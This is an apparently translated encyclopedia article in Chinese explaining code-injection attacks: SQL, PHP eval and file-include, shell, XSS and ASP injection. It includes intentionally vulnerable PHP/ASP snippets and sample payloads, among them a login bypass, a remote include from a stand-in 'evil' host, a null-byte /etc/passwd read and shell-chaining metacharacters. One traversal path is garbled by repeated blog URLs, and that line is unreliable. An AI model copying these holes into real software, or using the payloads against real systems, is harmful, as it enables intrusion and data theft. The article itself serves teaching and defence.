SQL注入
主条目:SQL Injection
SQL注入是种乘SQL语法之利注入可读取或者修改数据库、或者扭曲原始查询意义的命令。
以一个网页有两个字段让用户输入用户名与密码为例,在该网页幕后工作的代码会产生SQL查询以检查密码是否与用户名称密码列表相符:
SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'Username'
AND UserList.Password = 'Password'
如果这查询有回应行数,便允许该访问。然而,如果恶意用户键入合法用户名,并且在密码栏注入某些合法代码 ("password' OR '1'='1"),查询结果便如下所示:
SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'Username'
AND UserList.Password = 'password' OR '1'='1'
在上面示例里,"Password"被假定为空白或者某个无害的字符串。"'1'='1'"逻辑式将永远为真,并且找到多少行就回应多少行,因此访问就被允许了。
该技术可被精练成允许运行多重陈述,甚或加载外部程序。
PHP注入
"PHP注入"、"ASP注入"、以及其他类似技术术语是创造来泛指其他种种允许攻击者直接对服务器脚本引擎提供代码的代码注入攻击。在"PHP注入"实例里,服务端脚本引擎是PHP。
实际上,PHP注入是“动态赋值安全隐患”、“包含文件注入”、或者类似代码注入的安全隐患。
动态赋值安全隐患
mitre.org的史蒂芬克利斯第 (Steven M. Christey)提议以这个名字作为这类型的代码注入安全隐患。
动态赋值安全隐患 - Eval注入
eval注入安全隐患发生在攻击者可控制所有或者部份作为“喂”给eval()函数调用的输入字符串。[2]
$myvar = 'somevalue';
$x = $_GET['arg'];
eval('$myvar = ' . $x . ';');
"eval"的参数将会视同PHP处理,所以额外的命令可被添加。例如:如果"arg"如果被设成"10; system('/bin/echo uh-oh')",后面的"system('/bin/echo uh-oh')"代码将被运行,这等同在服务器上运行开发者意料外的程序。在这示例里头是"/bin/echo"。
动态赋值安全隐患 - 动态变量赋值
如在"Dynamic Evaluation Vulnerabilities in PHP applications"一文所定义的: PHP支持 "变量的变量",意指变量或者表达式可以对其他变量名赋值。这种特性可用来于程序运行时期动态改变哪个变量被访问或给值。这种特性是把双刃剑:强大、便利、同时也很危险。
许多程序有下面类似代码:
$safevar = "0";
$param1 = "";
$param2 = "";
$param3 = "";
# my own "register globals" for param[1,2,3]
foreach ($_GET as $key => $value) {
$$key = $value;
}
如果攻击者在查询字符串中给定"safevar=bad",那$safevar将会被设为值 "bad"。
动态赋值安全隐患 - 动态函数赋值
下面PHP示例将按照请求的方式运行函数。
$myfunc = $_GET['myfunc'];
$myfunc();
以及:
$myfunc = $_GET['myfunc'];
${"myfunc"}();
包含文件注入
考虑下面的PHP程序(这里包含了个文件可因应需求改变):
<?php
$color = 'blue';
if (__isset( $_GET['COLOR'] ) )
$color = $_GET['COLOR'];
require( $color . '.php' );
?>
<form method="get">
<select name="COLOR">
<option value="red">red</option>
<option value="blue">blue</option>
</select>
<input type="submit">
</form>
开发者认为这样大概可以保证只有 blue.php 和 red.php 可被加载。不过随着任何人可在COLOR轻易的插入随意值,造成以下文件注入的可能性:
/vulnerable.php?COLOR=http://evil/exploit? - 注入远程机器上有漏洞的文件。
/vulnerable.php?COLOR=C:\\ftp\\upload\\exploit - 从一个已经上载、叫做exploit.php文件运行其代码。
/vulnerable.php?COLOR=http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/etc/passwd%00 - 让攻击者取得该UNIX系统目录检索下密码文件的内容。
/vulnerable.php?COLOR=C:\\notes.txt%00 - 一个使用空元字符以解除.php扩展名限制,允许访问其他非 .php 结尾文件。 (PHP默认值"magic_quotes_gpc = On"可以终止这种攻击)
Shell注入
Shell注入又称命令行界面注入,它命名源于Unix Shell,不过可套用到大部分允许软件程序化地运行命令行接口的系统上。常见的Shell注入资源有system()、StartProcess()、java.lang.Runtime.exec()、System.Diagnostics.Process.Start()以及类似的应用程序接口。
考虑下面的简短PHP程序。它运行一段叫做funnytext的外部程序,以置换用户送出的许多其他单字:
<?php
passthru ( " /home/user/phpguru/funnytext "
. $_GET['USER_INPUT'] );
?>
该程序可以以多种方式被注入:
`命令` 将会运行 命令.
$(命令) 将会运行 命令.
; 命令 将会运行 命令,并输出命令的结果。
| 命令 将会运行 命令,并输出命令的结果。
&& 命令 将会运行 命令,并输出命令的结果。
|| 命令 将会运行 命令,并输出命令的结果。
> /home/user/phpguru/.bashrc 将会改写文件 .bashrc.
< /home/user/phpguru/.bashrc 将会将文件 .bashrc 送出,当成是 funnytext 的输入。
注:命令指的是命令行接口下可供输入运行的命令,例如视窗平台的 dir、UNIX 平台的 ls 等等。
PHP提供escapeshellarg()和escapeshellcmd()以在调用方法以前进行编码。然而,实际上并不建议相信这些方法是安全的 - 同样必须对输入确认 / 消毒。
HTML注入/脚本注入 (跨网站脚本)
主条目:跨网站脚本
HTML注入/脚本注入是个炒得相当热的话题,一般专业术语为跨网站脚本(Cross-site scripting,通常简称为XSS)。XSS指的是一种依靠用户输入到网页脚本,或者某些像代码行被置于输出HTML,而没有检查HTML代码或脚本的注入漏洞。
这种注入有两个基本型如下:
主动式 (型 1)
这种型态的XSS漏洞比较不危险,因为用户输入被置于动态产生的网页。服务器端没有任何改变。
被动式 (型 2)
这种型态比较危险,因为输入是写在静态网页上,故威胁是持续性的。
于IE7通过感染的动态链接库(DLL)实行HTML注入
根据英国技术网站The Register的[3]文献指出,HTML注入亦可发生在用户本身被有问题的DLL感染过的系统身上。该文献引用罗杰汤森 (Roger Thompson) 的说法:受害者的浏览器,实际上,访问了PayPal或其他类似的网站,甚或某动态链接文件将它自己插入IE,并试着在交易进行中读取并修改HTML。该文献提及使用这种手段的钓鱼攻击顺利规避IE7与赛门铁克尝试侦测可疑网站的努力。
ASP注入
"ASP注入"、"PHP注入"、以及其他类似技术术语是创造来泛指其他种种允许攻击者直接对服务器脚本引擎提供代码的代码注入攻击。在"ASP注入"实例里,服务端脚本引擎是微软Active Server Pages,一种微软IIS的外加组件。
在实际上与PHP相似,ASP注入也是“动态赋值安全隐患”、“包含文件注入”、或者类似代码注入的安全隐患。
示例:
<%
If Not IsEmpty(Request( "username" ) ) Then
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Dim fso, f
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.OpenTextFile(Server.MapPath( "userlog.txt" ), ForAppending, True)
f.Write Request("username") & vbCrLf
f.close
Set f = nothing
Set fso = Nothing
%>
<h1>List of logged users:</h1>
<pre>
<%
Server.Execute( "userlog.txt" )
%>
</pre>
<%
Else
%>
<form>
<input name="username" /><input type="submit" name="submit" />
</form>
<%
End If
%>
在这个示例中,用户可用命令而非用户名取代输入。